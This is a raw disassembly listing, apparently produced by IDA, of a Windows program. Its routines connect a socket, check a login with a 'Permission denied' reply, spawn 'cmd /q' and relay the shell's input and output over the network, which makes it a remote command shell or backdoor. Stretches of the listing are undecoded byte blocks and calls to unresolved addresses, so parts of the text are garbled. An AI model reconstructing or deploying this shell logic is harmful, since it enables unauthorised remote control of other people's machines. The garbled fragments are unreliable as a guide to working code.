		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351D4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 0F1E8h
		dd 900228F5h, 69C44D8Bh, 234C9h, 89C63B00h, 43E93481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 228F575h
		dd 0E890EDEBh, 228FDA4h, 51986850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2710000h
		nop
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA64
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9E4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA68
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB99C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43525C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E92C[ebx]
		mov	dword_43E924[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E930[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_43521C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E92C[eax]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E930[esi]
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E92C[esi]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E930[esi]
		call	dword_4CBA7C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		das
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E92C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB938
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB978
		push	eax
		push	offset unk_435334
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	near ptr 2710000h
		nop


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB98
		push	dword ptr [esi]
		call	dword_4CBA34
		cmp	dword_4CE73C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA34
		push	dword ptr [esi]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F8
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_4352CC
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 2710000h
		nop


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352A0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2710000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435360
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43538C
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB954h, 0C63BF633h, 68501D74h
		dd 4354FCh, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 0EB5AE857h, 5790022Fh, 4116CC68h, 17E89000h,	85023BF7h
		dd 0E82975C0h, 228F7F0h, 0B8685090h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB93Ch, 0E8B475FFh, 0FFFFA1FEh, 21E85759h
		dd 90022FEBh, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0E415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA6415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E92C98h, 0E0458D00h
		dd 15FF5350h, 4CBA10h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CBA0Ch, 850FC085h, 103h, 43547C68h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA7815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9C415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA7015FFh, 8D50004Ch, 0FFFBEC85h, 543868FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E924h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0B1E85056h, 900228EEh
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E93481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 228EE35h,	0E890EDEBh
		dd 228F664h, 53FC6850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB978h, 0EC858D50h, 68FFFFFBh, 4353C4h
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA7C15FFh, 0FF53004Ch, 4CBA7C15h, 3C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022FE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E92C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_43555C
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_43555C
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26B0CA1h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27D0F07h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_435528
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		nop
		call	near ptr 26B0CA1h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27509CEh


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA7C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_43560C
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_4355CC


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_4355A4
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 26802DCh
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E928[eax], ecx
		call	near ptr 2680000h
		nop
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_43564C
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_43568C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9FC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 27E0000h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
